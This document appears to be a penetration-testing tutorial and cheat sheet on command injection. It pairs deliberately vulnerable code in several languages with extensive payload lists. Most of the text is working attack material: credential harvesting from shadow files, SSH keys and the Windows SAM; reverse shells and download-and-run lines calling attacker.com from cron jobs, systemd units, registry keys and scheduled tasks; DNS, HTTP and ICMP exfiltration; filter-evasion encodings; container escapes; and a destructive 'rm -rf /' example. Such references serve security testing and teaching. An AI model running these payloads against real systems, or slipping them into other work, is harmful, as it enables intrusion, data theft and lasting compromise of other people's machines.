Command injection
Understanding Command Injection
What is Command Injection?
Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system through a vulnerable application. This occurs when an application passes unsafe user-supplied data to a system shell without proper validation or sanitization.
Vulnerable Code Example
// PHP vulnerable code
$filename = $_GET['file'];
$output = shell_exec("cat /var/logs/" . $filename);
echo $output;
Normal Request:
URL:
GET /view_log.php?file=access.log
Command:
cat /var/logs/access.log
Malicious Request:
URL:
GET /view_log.php?file=access.log; rm -rf /
Command:
cat /var/logs/access.log; rm -rf /
How Command Injection Works
Command injection exploits the way applications construct and execute system commands. When user input is directly concatenated into command strings without proper validation, attackers can inject additional commands using shell metacharacters.
Command Execution Flow
User Input - Attacker provides malicious input containing shell metacharacters
Command Construction - Application concatenates user input into system command
Shell Execution - System shell interprets and executes the constructed command
Command Injection - Injected commands execute with application privileges
Impact and Consequences
System Compromise - Full control over the target system
Data Exfiltration - Access to sensitive files and databases
Privilege Escalation - Potential to gain higher system privileges
Lateral Movement - Access to other systems on the network
Persistent Access - Installation of backdoors and malware
Shell Metacharacters and Command Separators
Understanding shell metacharacters is crucial for both exploitation and defense:
Command Separators
;
- Command separator (executes commands sequentially)&
- Background execution&&
- Logical AND (execute if previous command succeeds)||
- Logical OR (execute if previous command fails)|
- Pipe (pass output to next command)\n
- Newline separator
Input/Output Redirection
>
- Output redirection (overwrite)>>
- Output redirection (append)<
- Input redirection2>
- Error redirection2>&1
- Redirect stderr to stdout
Command Substitution
`command`
- Backtick command substitution$(command)
- Dollar-parenthesis command substitution
Wildcards and Globbing
*
- Match any number of characters?
- Match single character[abc]
- Match any character in brackets{a,b,c}
- Brace expansion
Detection Methodology
Identifying Vulnerable Parameters
Common Vulnerable Functions
PHP Functions:
system()
exec()
shell_exec()
passthru()
popen()
proc_open()
eval()
(when used with shell commands)
Python Functions:
os.system()
os.popen()
subprocess.call()
subprocess.run()
subprocess.Popen()
Node.js Functions:
child_process.exec()
child_process.spawn()
child_process.execSync()
child_process.execFile()
Java Functions:
Runtime.getRuntime().exec()
ProcessBuilder.start()
Vulnerable Parameter Types
File Operations:
File upload/download functionality
File viewing/editing interfaces
Log file access
Report generation
Backup/restore operations
System Administration:
Network diagnostics (ping, traceroute)
System monitoring tools
User management interfaces
Configuration management
Service control panels
Data Processing:
Image/video processing
Document conversion
Archive operations (zip, tar)
Database operations
Import/export functionality
Basic Detection Techniques
Time-Based Detection
Sleep Commands:
# Linux/Unix sleep commands
; sleep 10
& sleep 10
&& sleep 10
|| sleep 10
| sleep 10
`sleep 10`
$(sleep 10)
# Windows sleep commands
; timeout 10
& timeout 10
&& timeout 10
|| timeout 10
| timeout 10
Testing Examples:
# Test various injection points
curl "https://target.com/ping.php?host=google.com; sleep 10"
curl "https://target.com/convert.php?file=test.pdf & sleep 10"
curl -X POST -d "filename=report.txt && sleep 10" https://target.com/download.php
Output-Based Detection
Command Output Injection:
# Linux/Unix commands
; whoami
; id
; pwd
; ls
; cat /etc/passwd
; uname -a
; ifconfig
; ps aux
# Windows commands
; whoami
; dir
; ipconfig
; systeminfo
; tasklist
; net user
Testing Examples:
# Test for command output in response
curl "https://target.com/ping.php?host=google.com; whoami"
curl "https://target.com/logs.php?file=access.log; id"
curl -X POST -d "command=status && pwd" https://target.com/admin.php
Error-Based Detection
Syntax Error Injection:
# Generate shell syntax errors
; '
; "
; `
; $(
; ${
; [
; (
Invalid Command Injection:
# Non-existent commands to trigger errors
; invalidcommandxyz
; thiscommanddoesnotexist
; 1234567890abcdef
Advanced Detection Techniques
Blind Command Injection
DNS Exfiltration:
# DNS-based detection
; nslookup attacker.com
; dig attacker.com
; host attacker.com
`nslookup $(whoami).attacker.com`
$(dig $(id).attacker.com)
HTTP Requests:
# HTTP-based detection
; curl http://attacker.com/detect
; wget http://attacker.com/detect
`curl http://attacker.com/$(whoami)`
$(wget -q -O- http://attacker.com/$(id))
File-Based Detection:
# Create files for later verification
; touch /tmp/command_injection_test
; echo "injected" > /var/tmp/test.txt
`echo $(date) >> /tmp/timestamps`
$(id > /tmp/user_context)
Context-Specific Testing
String Context:
# Breaking out of quoted strings
test"; whoami; echo "
test'; id; echo '
test`; pwd; echo `
test$(whoami)test
Argument Context:
# When input becomes command argument
--help; whoami
-version && id
/../../etc/passwd; ls
../../../usr/bin/id
Environment Variable Context:
# When input affects environment variables
TEST=value; whoami
PATH=/bin:/usr/bin; id
HOME=/tmp; pwd
Operating System Specific Techniques
Linux/Unix Command Injection
Common Commands for Reconnaissance
System Information:
; uname -a # System information
; cat /etc/issue # OS version
; cat /etc/passwd # User accounts
; id # Current user context
; whoami # Current username
; groups # User groups
; sudo -l # Sudo permissions
Network Information:
; ifconfig # Network interfaces
; ip addr # IP addresses
; netstat -an # Network connections
; ss -tuln # Socket statistics
; route -n # Routing table
; arp -a # ARP table
Process and Service Information:
; ps aux # Running processes
; ps -ef # Process tree
; top # System activity
; service --status-all # Service status
; systemctl list-units # Systemd services
File System Information:
; ls -la # Directory listing
; pwd # Current directory
; find / -name "*.conf" 2>/dev/null # Configuration files
; df -h # Disk usage
; mount # Mounted filesystems
; cat /proc/version # Kernel version
Data Exfiltration Techniques
File Reading:
; cat /etc/shadow
; head -20 /var/log/auth.log
; tail -f /var/log/syslog
; grep -r "password" /etc/
; find /home -name "*.txt" -exec cat {} \;
Database Access:
; mysql -u root -p -e "SHOW DATABASES;"
; psql -l
; sqlite3 /path/to/database.db ".tables"
; mongo --eval "db.adminCommand('listCollections')"
Credential Harvesting:
; cat ~/.ssh/id_rsa
; cat ~/.bash_history
; grep -r "password" ~/.config/
; cat /var/mail/$USER
; history
Persistence and Backdoors
Cron Jobs:
; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" | crontab -
; crontab -l
; echo "0 */6 * * * wget -q -O- http://attacker.com/update.sh | bash" >> /var/spool/cron/root
SSH Keys:
; mkdir -p ~/.ssh
; echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" >> ~/.ssh/authorized_keys
; chmod 600 ~/.ssh/authorized_keys
; chmod 700 ~/.ssh
System Service Backdoors:
; echo "[Unit]\nDescription=System Update\n[Service]\nExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/update.service
; systemctl enable update.service
; systemctl start update.service
Windows Command Injection
Common Commands for Reconnaissance
System Information:
; systeminfo
; whoami
; whoami /priv
; net user
; net localgroup administrators
; wmic os get Caption,Version,BuildNumber
; reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Network Information:
; ipconfig /all
; netstat -an
; arp -a
; route print
; net share
; net use
; wmic process list
Process and Service Information:
; tasklist
; tasklist /svc
; sc query
; wmic service list
; net start
; schtasks /query
File System Information:
; dir
; dir C:\ /s /b
; tree C:\ /f
; wmic logicaldisk get size,freespace,caption
; fsutil fsinfo drives
Data Exfiltration Techniques
File Reading:
; type C:\Windows\System32\drivers\etc\hosts
; type C:\Users\Administrator\Desktop\*.txt
; dir C:\Users\ /s /b | findstr password
; findstr /s /i "password" C:\*.txt C:\*.config C:\*.xml
Registry Access:
; reg query HKLM\SAM\SAM\Domains\Account\Users
; reg query HKLM\SYSTEM\CurrentControlSet\Services
; reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
; reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Credential Harvesting:
; cmdkey /list
; vaultcmd /list
; reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
; wmic useraccount list
; net user administrator
Persistence and Backdoors
Registry Persistence:
; reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "powershell.exe -WindowStyle Hidden -Command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\""
; reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "cmd.exe /c start /min powershell.exe -ep bypass -file C:\temp\backdoor.ps1"
Scheduled Tasks:
; schtasks /create /sc minute /mo 30 /tn "WindowsUpdate" /tr "powershell.exe -WindowStyle Hidden -Command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/update.ps1')\""
; schtasks /create /sc onlogon /tn "SecurityCheck" /tr "cmd.exe /c start /min C:\temp\backdoor.exe"
Service Creation:
; sc create "WindowsUpdateService" binpath= "cmd.exe /c start /min powershell.exe -ep bypass -file C:\temp\service.ps1" start= auto
; sc start "WindowsUpdateService"
; net start "WindowsUpdateService"
Advanced Command Injection Techniques
Filter Evasion and Bypass
Character Encoding and Obfuscation
URL Encoding:
# URL encoded command separators
%3B # ;
%26 # &
%7C # |
%0A # newline
%0D # carriage return
Hex Encoding:
# Hex encoded commands
$(echo -e "\x77\x68\x6f\x61\x6d\x69") # whoami
`printf "\x69\x64"` # id
Base64 Encoding:
# Base64 encoded commands
$(echo "d2hvYW1p" | base64 -d) # whoami
`echo "aWQ=" | base64 -d` # id
Unicode and UTF-8:
# Unicode variations
;whoami # Unicode semicolon
|id # Unicode pipe
Variable Expansion and Substitution
Environment Variables:
# Using environment variables for obfuscation
$PATH; whoami
${HOME}; id
$USER/../../../etc/passwd
Bash Parameter Expansion:
# Parameter expansion techniques
${PS4:0:1}whoami # Uses first character of PS4
${PATH%%:*}/../bin/id # Path manipulation
${RANDOM:0:0}whoami # Empty substitution
Command Substitution Variations:
# Alternative command substitution
`id`
$(whoami)
$((0))whoami # Arithmetic expansion
Alternative Command Separators
Newline Variations:
# Different newline representations
%0A # URL encoded newline
%0D%0A # CRLF
\n # Escaped newline
\r\n # Windows line ending
Whitespace Substitution:
# Alternative whitespace characters
${IFS}whoami # Internal Field Separator
{cat,/etc/passwd} # Brace expansion
cat${IFS}/etc/passwd # IFS as separator
Glob Pattern Exploitation:
# Wildcard and glob patterns
/???/???ami # whoami with wildcards
/bin/c?t # cat command
/**/id # Recursive glob
Blind Command Injection Exploitation
Time-Based Exploitation
Conditional Time Delays:
# Conditional sleep based on file existence
; test -f /etc/passwd && sleep 10
; [ -r /etc/shadow ] && sleep 15
; if [ -f /bin/bash ]; then sleep 5; fi
Arithmetic Time Delays:
# Using arithmetic for delays
; ping -c $(expr 5 + 5) 127.0.0.1
; sleep $((5*2))
; timeout $(echo $((3*4)))s ls
Out-of-Band Data Exfiltration
DNS Exfiltration:
# DNS-based data exfiltration
; nslookup $(whoami).attacker.com
; dig $(cat /etc/passwd | base64 | cut -c1-60).attacker.com
; host $(id | tr -d ' ').attacker.com
HTTP Exfiltration:
# HTTP-based data exfiltration
; curl http://attacker.com/$(whoami)
; wget -q -O- --post-data="data=$(cat /etc/passwd | base64)" http://attacker.com/collect
; python -c "import urllib2; urllib2.urlopen('http://attacker.com/' + open('/etc/passwd').read().encode('base64').replace('\n',''))"
ICMP Exfiltration:
# ICMP-based data exfiltration
; ping -c 1 -p $(echo "data" | xxd -p) attacker.com
; ping -c 3 -s $(wc -l /etc/passwd | cut -d' ' -f1) attacker.com
File-Based Communication
Temporary File Communication:
# Using temporary files for communication
; whoami > /tmp/.hidden_$(date +%s)
; echo $(id) > /var/tmp/system_$(whoami)
; cat /etc/passwd > /dev/shm/exfil_$(date +%s)
Log File Injection:
# Injecting data into log files
; logger "User: $(whoami), ID: $(id)"
; echo "$(date): $(uname -a)" >> /var/log/custom.log
; printf "Data: %s\n" "$(cat /etc/passwd)" >> /tmp/app.log
Platform-Specific Advanced Techniques
Linux Advanced Techniques
Proc Filesystem Exploitation:
# Exploiting /proc filesystem
; cat /proc/version
; cat /proc/cmdline
; cat /proc/meminfo
; cat /proc/cpuinfo
; ls -la /proc/*/fd/
; cat /proc/net/tcp
Container Escape Techniques:
# Docker container escape attempts
; cat /proc/1/cgroup
; ls -la /var/run/docker.sock
; mount | grep docker
; cat /.dockerenv
; ls -la /dev/
Kernel Module Information:
# Kernel and module information
; lsmod
; cat /proc/modules
; find /lib/modules/ -name "*.ko"
; modinfo <module_name>
Windows Advanced Techniques
PowerShell Execution:
; powershell.exe -Command "Get-Process"
; powershell.exe -EncodedCommand <base64_encoded_command>
; powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
WMI Exploitation:
; wmic process call create "cmd.exe /c whoami > C:\temp\output.txt"
; wmic service where "startmode='manual'" get name,startmode
; wmic useraccount where "LocalAccount=TRUE" get Name,SID
; wmic logicaldisk get size,freespace,caption
Registry Manipulation:
; reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
; reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
; reg export HKLM\SAM C:\temp\sam.reg
Context-Specific Command Injection
Web Application Contexts
File Upload Handlers
Filename Manipulation:
# Malicious filenames
; whoami; .jpg
`id`.png
$(cat /etc/passwd).pdf
../../etc/passwd; .txt
MIME Type Exploitation:
# MIME type bypass with command injection
Content-Type: image/jpeg; boundary=`whoami`
Content-Type: application/pdf; name="file.pdf; whoami; echo.pdf"
Image Processing Applications
ImageMagick Exploitation:
# ImageMagick command injection
convert 'image.jpg; whoami; echo.png' output.jpg
convert input.jpg -resize 100x100 'output.jpg; id; echo.jpg'
FFmpeg Exploitation:
# FFmpeg command injection
ffmpeg -i 'input.mp4; whoami; echo' -c copy output.mp4
ffmpeg -i input.avi -vf "scale=640:480; whoami" output.mp4
Network Diagnostic Tools
Ping Command Injection:
# Common ping injection patterns
ping -c 1 google.com; whoami
ping google.com && id
ping $(whoami).attacker.com
ping -c $(id | wc -w) localhost
Traceroute Exploitation:
# Traceroute command injection
traceroute google.com; cat /etc/passwd
traceroute $(whoami).attacker.com
traceroute -p $(id | cut -d= -f2 | cut -d\( -f1) google.com
Nslookup/Dig Exploitation:
# DNS tool exploitation
nslookup google.com; whoami
dig google.com; id
nslookup $(cat /etc/hostname).attacker.com
Archive and Compression Tools
Tar Command Injection:
# Tar archive manipulation
tar -czf archive.tar.gz files/; whoami; echo
tar -xzf 'archive.tar.gz; id; echo'
tar --to-command='whoami' -xf archive.tar
Zip Exploitation:
# Zip command injection
zip -r archive.zip folder/; cat /etc/passwd; echo
unzip 'file.zip; whoami; echo'
API and Service Contexts
REST API Parameters
JSON Parameter Injection:
{
"filename": "report.pdf; whoami; echo",
"command": "convert",
"options": "--output=/tmp/result.jpg; id; echo"
}
XML Parameter Injection:
<request>
<file>document.pdf; cat /etc/passwd; echo</file>
<action>process; whoami; echo</action>
</request>
Database Integration
SQL to Command Injection:
-- If SQL allows system command execution
SELECT * FROM files WHERE name = 'test.txt'; EXEC xp_cmdshell 'whoami'; --
SELECT load_file('/etc/passwd; whoami; echo')
Configuration File Processing
INI File Injection:
[settings]
path=/var/logs/; whoami; echo
command=process; id; echo
output_dir=/tmp/; cat /etc/passwd; echo
YAML Injection:
config:
script: "process.sh; whoami; echo"
output: "/tmp/result; id; echo"
Advanced Exploitation Scenarios
Multi-Stage Command Injection
Information Gathering Chain
Stage 1: Environment Discovery
# Discover system information
; uname -a; whoami; id; pwd
; cat /etc/issue; cat /proc/version
; ps aux | grep -E "(apache|nginx|httpd)"
; netstat -tlnp | grep :80
Stage 2: Privilege Assessment
# Check current privileges
; sudo -l 2>/dev/null
; find / -perm -4000 -type f 2>/dev/null
; getcap -r / 2>/dev/null
; cat /etc/sudoers 2>/dev/null
Stage 3: Network Reconnaissance
# Internal network discovery
; ip route show
; arp -a
; netstat -rn
; cat /etc/hosts
; dig @localhost version.bind chaos txt
Data Exfiltration Chain
Stage 1: Data Location
# Find sensitive data
; find /home -name "*.txt" -o -name "*.doc" -o -name "*.pdf" 2>/dev/null
; locate password 2>/dev/null
; grep -r -i "password\|secret\|key" /etc/ 2>/dev/null
; find /var -name "*.log" 2>/dev/null | head -10
Stage 2: Data Preparation
# Prepare data for exfiltration
; tar -czf /tmp/data.tar.gz /home/user/documents/ 2>/dev/null
; base64 /etc/passwd > /tmp/passwd.b64
; split -b 1024 /tmp/data.tar.gz /tmp/chunk_
Stage 3: Data Transmission
# Exfiltrate prepared data
; for file in /tmp/chunk_*; do curl -X POST -d @$file http://attacker.com/collect/$(basename $file); done
; cat /tmp/passwd.b64 | while read line; do dig $line.attacker.com; done
; python -c "import urllib2,base64; urllib2.urlopen('http://attacker.com/data', base64.b64encode(open('/tmp/data.tar.gz','rb').read()))"
Command Injection in Chained Applications
Application Pipeline Exploitation
Image Processing Pipeline:
# Stage 1: Upload with command injection
filename="image.jpg; echo 'Stage 1 Complete' > /tmp/pipeline; echo"
# Stage 2: Processing triggers second injection
processing_options="--resize=100x100; cat /etc/passwd > /tmp/exfil; echo"
# Stage 3: Output generation triggers third injection
output_path="/var/www/html/processed/; whoami > /tmp/user_context; echo"
Document Conversion Chain:
# Stage 1: Document upload
document="report.pdf; mkdir -p /tmp/stage1; echo"
# Stage 2: Format conversion
target_format="docx; echo 'converted' > /tmp/stage1/progress; echo"
# Stage 3: Final processing
output_settings="--quality=high; cp /etc/passwd /tmp/stage1/; echo"
Microservice Command Injection
Service A → Service B Chain:
# Service A injection
parameter1="value; curl -X POST -d 'injected=true' http://service-b:8080/process; echo"
# Service B receives and processes
# If Service B is also vulnerable:
parameter2="processed_value; wget http://attacker.com/stage2; echo"
Privilege Escalation via Command Injection
SUID Binary Exploitation
Finding SUID Binaries:
; find / -perm -4000 -type f 2>/dev/null
; find / -perm -2000 -type f 2>/dev/null
; ls -la /usr/bin/ | grep rwsr
Exploiting Custom SUID Binaries:
# If the application has SUID bit and is vulnerable
; /usr/local/bin/custom_tool "input; /bin/bash; echo"
; /opt/app/suid_binary "parameter; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; echo"
Container Escape Scenarios
Docker Container Escape:
# Check if running in container
; cat /proc/1/cgroup | grep docker
; ls -la /var/run/docker.sock
# Attempt container escape
; docker run -v /:/hostOS -it ubuntu chroot /hostOS /bin/bash
; mount -t proc none /proc; mount -t sysfs none /sys; mount -t devpts none /dev/pts
LXC Container Escape:
# LXC container detection
; cat /proc/1/environ | grep container
; ls -la /dev/lxd/
# LXC escape attempt
; lxc exec container-name -- /bin/bash
; lxd init; lxc launch ubuntu:18.04 privesc -c security.privileged=true
Command Injection in Modern Applications
Cloud and Container Environments
Kubernetes Command Injection
Pod Specification Injection:
# Malicious pod specification
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
image: nginx
command: ["/bin/sh", "-c", "nginx; whoami > /tmp/k8s_user; echo"]
args: ["start; cat /var/run/secrets/kubernetes.io/serviceaccount/token; echo"]
ConfigMap Injection:
# Malicious ConfigMap
apiVersion: v1
kind: ConfigMap
data:
script.sh: |
#!/bin/bash
echo "Starting application..."
whoami > /tmp/configmap_injection
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Serverless Function Injection
AWS Lambda Injection:
# Lambda function vulnerable to command injection
import os
import subprocess
def lambda_handler(event, context):
user_input = event.get('command', 'ls')
# Vulnerable: Direct command execution
result = subprocess.run(f"echo {user_input}", shell=True, capture_output=True)
return result.stdout.decode()
# Malicious payload
# POST /lambda-function
# {"command": "test; whoami; cat /proc/version; echo"}
Azure Functions Injection:
// Azure Function vulnerable to command injection
const { exec } = require('child_process');
module.exports = async function (context, req) {
const command = req.query.cmd || 'echo hello';
// Vulnerable: Direct command execution
exec(`echo ${command}`, (error, stdout, stderr) => {
context.res = {
body: stdout
};
context.done();
});
};
// Malicious request
// GET /api/function?cmd=test; whoami; echo
CI/CD Pipeline Injection
Build Script Injection
Jenkins Pipeline Injection:
// Vulnerable Jenkins pipeline
pipeline {
agent any
parameters {
string(name: 'BUILD_COMMAND', defaultValue: 'make build')
}
stages {
stage('Build') {
steps {
// Vulnerable: Direct parameter use in shell
sh "${params.BUILD_COMMAND}"
}
}
}
}
// Malicious parameter
// BUILD_COMMAND: "make build; curl http://attacker.com/jenkins/$(whoami); echo"
GitHub Actions Injection:
# Vulnerable GitHub Actions workflow
name: Build
on:
workflow_dispatch:
inputs:
build_target:
description: 'Build target'
required: true
default: 'all'
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Build
# Vulnerable: Direct input use
run: make ${{ github.event.inputs.build_target }}
# Malicious input
# build_target: "all; curl -X POST -d @/etc/passwd http://attacker.com/exfil; echo"
Docker Build Injection
Dockerfile Command Injection:
# Vulnerable Dockerfile with build-time injection
ARG BUILD_COMMAND=make
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y build-essential
# Vulnerable: ARG used directly in RUN
RUN ${BUILD_COMMAND}
# Malicious build command
# docker build --build-arg BUILD_COMMAND="make; curl http://attacker.com/docker/\$(whoami); echo" .
Docker Compose Injection:
# Vulnerable docker-compose.yml
version: '3'
services:
app:
build: .
environment:
- INIT_COMMAND=${INIT_COMMAND:-echo "Starting"}
# Vulnerable: Environment variable in command
command: sh -c "${INIT_COMMAND} && python app.py"
# Malicious environment variable
# INIT_COMMAND="echo Starting; whoami > /tmp/compose_injection; echo"
Language-Specific Command Injection
PHP Command Injection
Common Vulnerable Patterns
Direct Function Calls:
<?php
// Vulnerable PHP patterns
$file = $_GET['file'];
// system() injection
system("cat /var/logs/" . $file);
// exec() injection
exec("convert " . $_POST['input'] . " output.jpg");
// shell_exec() injection
$output = shell_exec("ping -c 1 " . $_GET['host']);
// passthru() injection
passthru("tar -czf backup.tar.gz " . $_POST['directory']);
// popen() injection
$handle = popen("grep " . $_GET['pattern'] . " /var/log/app.log", "r");
?>
Advanced PHP Injection:
<?php
// eval() with command injection
$code = $_POST['code'];
eval("echo 'Result: " . $code . "';"); // Payload: '; system('whoami'); echo '
// preg_replace() with /e modifier (deprecated but still found)
$input = $_GET['input'];
$output = preg_replace('/(.*)/e', 'strtoupper("$1")', $input); // Payload: {${system(whoami)}}
// include/require with command injection
$page = $_GET['page'];
include($page . ".php"); // Payload: ../../../etc/passwd; whoami; echo dummy
?>
PHP-Specific Techniques
PHP Stream Wrappers:
<?php
// PHP stream wrapper exploitation
$file = $_GET['file'];
// data:// wrapper injection
include("data://text/plain;base64," . base64_encode("<?php system('whoami'); ?>"));
// expect:// wrapper injection
include("expect://whoami");
// php://filter wrapper injection
include("php://filter/convert.base64-encode/resource=" . $file . "; whoami; echo dummy");
?>
PHP Error-Based Injection:
<?php
// Error-based command injection
$input = $_GET['input'];
// Trigger errors that execute commands
file_get_contents($input . "; whoami; echo http://example.com");
fopen($input . "; id; echo /tmp/test", "r");
?>
Python Command Injection
Common Vulnerable Patterns
Subprocess Module:
import subprocess
import os
# Vulnerable subprocess usage
user_input = request.args.get('cmd')
# subprocess.call() injection
subprocess.call("ping -c 1 " + user_input, shell=True)
# subprocess.run() injection
subprocess.run(f"convert {user_input} output.jpg", shell=True)
# subprocess.Popen() injection
process = subprocess.Popen(["sh", "-c", f"grep {user_input} /var/log/app.log"])
# os.system() injection
os.system("echo " + user_input)
# os.popen() injection
result = os.popen("ls " + user_input).read()
Advanced Python Injection:
# eval() and exec() injection
user_code = request.json.get('code')
eval(user_code) # Payload: __import__('os').system('whoami')
exec(user_code) # Payload: __import__('subprocess').call('id', shell=True)
# compile() injection
code_obj = compile(user_input, '<string>', 'exec')
exec(code_obj)
# Template injection leading to command injection
from jinja2 import Template
template = Template(user_input)
# Payload: {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('whoami')}}
Python-Specific Techniques
Pickle Deserialization to Command Injection:
import pickle
import subprocess
class EvilPickle:
def __reduce__(self):
return (subprocess.call, (['whoami'], {'shell': True}))
# Serialization
evil_data = pickle.dumps(EvilPickle())
# Vulnerable deserialization
pickle.loads(evil_data) # Executes whoami command
Import Hook Injection:
import sys
import types
# Malicious module injection
user_module = request.args.get('module')
# Dynamic import injection
__import__(user_module) # Payload: os; os.system('whoami'); sys
# importlib injection
import importlib
module = importlib.import_module(user_module)
Node.js Command Injection
Common Vulnerable Patterns
Child Process Module:
const { exec, spawn, execSync, execFile } = require('child_process');
// Vulnerable child_process usage
const userInput = req.query.cmd;
// exec() injection
exec(`ping -c 1 ${userInput}`, (error, stdout, stderr) => {
res.send(stdout);
});
// execSync() injection
const result = execSync(`ls ${userInput}`);
// spawn() injection (when shell: true)
const child = spawn('sh', ['-c', `grep ${userInput} /var/log/app.log`]);
// execFile() with shell injection
execFile('sh', ['-c', `echo ${userInput}`], (error, stdout, stderr) => {
res.send(stdout);
});
Advanced Node.js Injection:
// eval() injection
const userCode = req.body.code;
eval(userCode); // Payload: require('child_process').exec('whoami')
// Function constructor injection
const userFunction = req.body.func;
const fn = new Function(userFunction);
fn(); // Payload: require('child_process').exec('id')
// VM module injection
const vm = require('vm');
const userScript = req.body.script;
vm.runInThisContext(userScript); // Payload: process.mainModule.require('child_process').exec('whoami')
Node.js-Specific Techniques
Package.json Script Injection:
{
"scripts": {
"start": "node app.js",
"build": "webpack --config webpack.config.js; whoami; echo",
"test": "jest; cat /etc/passwd; echo"
}
}
NPM Package Injection:
// Malicious package in node_modules
// In a vulnerable application that processes user input to require modules
const userPackage = req.body.package;
require(userPackage); // Payload: ../../../evil-package
// evil-package/index.js
const { exec } = require('child_process');
exec('whoami > /tmp/npm_injection');
Java Command Injection
Common Vulnerable Patterns
Runtime.exec() Injection:
import java.io.*;
public class VulnerableApp {
public void processCommand(String userInput) {
try {
// Vulnerable Runtime.exec() usage
Process process = Runtime.getRuntime().exec("ping -c 1 " + userInput);
// ProcessBuilder injection
ProcessBuilder pb = new ProcessBuilder("sh", "-c", "ls " + userInput);
Process proc = pb.start();
// Script engine injection
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("java.lang.Runtime.getRuntime().exec('" + userInput + "')");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Advanced Java Injection:
// Reflection-based command execution
Class<?> clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("exec", String.class);
Object runtime = clazz.getMethod("getRuntime").invoke(null);
method.invoke(runtime, userInput);
// Deserialization to command injection
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(userData));
Object obj = ois.readObject(); // Malicious serialized object that executes commands
Java-Specific Techniques
JNDI Injection Leading to Command Execution:
// JNDI lookup injection
String userLookup = request.getParameter("lookup");
Context ctx = new InitialContext();
ctx.lookup(userLookup); // Payload: ldap://attacker.com/ExploitClass
// Log4j injection (CVE-2021-44228 style)
logger.info("User input: " + userInput);
// Payload: ${jndi:ldap://attacker.com/ExploitClass}
Spring Framework Injection:
// Spring Expression Language (SpEL) injection
@RequestMapping("/process")
public String processExpression(@RequestParam String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
return exp.getValue().toString();
// Payload: T(java.lang.Runtime).getRuntime().exec('whoami')
}
Advanced Payload Techniques
Polyglot Command Injection
Multi-Context Payloads
Universal Injection Payload:
# Payload that works across multiple contexts
'; whoami; echo 'a
"; whoami; echo "a
`whoami`
$(whoami)
|whoami
&whoami
%0Awhoami
%0D%0Awhoami
Cross-Platform Payload:
# Works on both Linux and Windows
';echo $(whoami) > /tmp/output 2>/dev/null || echo %USERNAME% > %TEMP%\output;echo '
Multi-Language Payload:
# Payload that escapes multiple language contexts
</script><script>alert('XSS')</script><!--; whoami; echo -->
';alert('XSS');//"; whoami; echo "
Time-Based Polyglot
Cross-Platform Time Delay:
# Universal time delay payload
';sleep 10 2>/dev/null || ping -n 10 127.0.0.1 > nul;echo '
# Linux: sleep 10
# Windows: ping -n 10 (10 second delay)
Conditional Time Delay:
# Conditional execution with time delay
';test -f /etc/passwd && sleep 5 || (dir C:\ > nul 2>&1 && timeout 5);echo '
Encoded Payload Techniques
Multi-Stage Encoding
Base64 + URL Encoding:
# Original payload: whoami
# Base64: d2hvYW1p
# URL encoded: %64%32%68%76%59%57%31%70
; echo %64%32%68%76%59%57%31%70 | base64 -d | sh
Hex + Command Substitution:
# Hex encoded whoami: 77686f616d69
; $(echo -e "\x77\x68\x6f\x61\x6d\x69")
; printf "\x77\x68\x6f\x61\x6d\x69" | sh
ROT13 + Decoding:
# ROT13 encoded whoami: jubznv
; echo "jubznv" | tr 'a-zA-Z' 'n-za-mN-ZA-M' | sh
Dynamic Payload Construction
Environment Variable Assembly:
# Construct payload using environment variables
; ${PATH:0:1}bin${PATH:4:1}whoami
; $HOME/../../../bin/whoami
; ${PS4:0:1}usr${PS4:0:1}bin${PS4:0:1}id
Arithmetic Expansion Payload:
# Using arithmetic expansion to obfuscate
; $((0))whoami
; echo $((0x57))$((0x68))$((0x6f))$((0x61))$((0x6d))$((0x69)) | xxd -r -p | sh
Anti-Detection Techniques
Steganographic Command Hiding
Comment-Based Hiding:
# Hide commands in comments
; ls # whoami > /dev/null; cat /etc/passwd; echo
; echo "normal command" # $(id > /tmp/hidden)
Whitespace Manipulation:
# Use alternative whitespace characters
; whoami${IFS}>${IFS}/tmp/output
; cat${IFS}/etc/passwd
; ls${IFS}-la${IFS}/home
Traffic Obfuscation
DNS Tunneling Command Injection:
# Exfiltrate via DNS with obfuscation
; nslookup $(echo -n $(whoami) | base64 | tr -d '=').tunnel.attacker.com
; dig $(cat /etc/passwd | head -1 | base64 | cut -c1-60).exfil.attacker.com
ICMP Tunneling:
# Use ICMP for covert communication
; ping -c 1 -p $(echo "COMMAND_OUTPUT" | xxd -p | cut -c1-32) attacker.com
; ping -s $(id | wc -c) -c 1 attacker.com
Timing Attack Obfuscation
Random Delay Injection:
# Add random delays to avoid detection
; sleep $((RANDOM % 10 + 5)); whoami > /tmp/delayed_output
; ping -c $((RANDOM % 5 + 1)) 127.0.0.1 > /dev/null; id
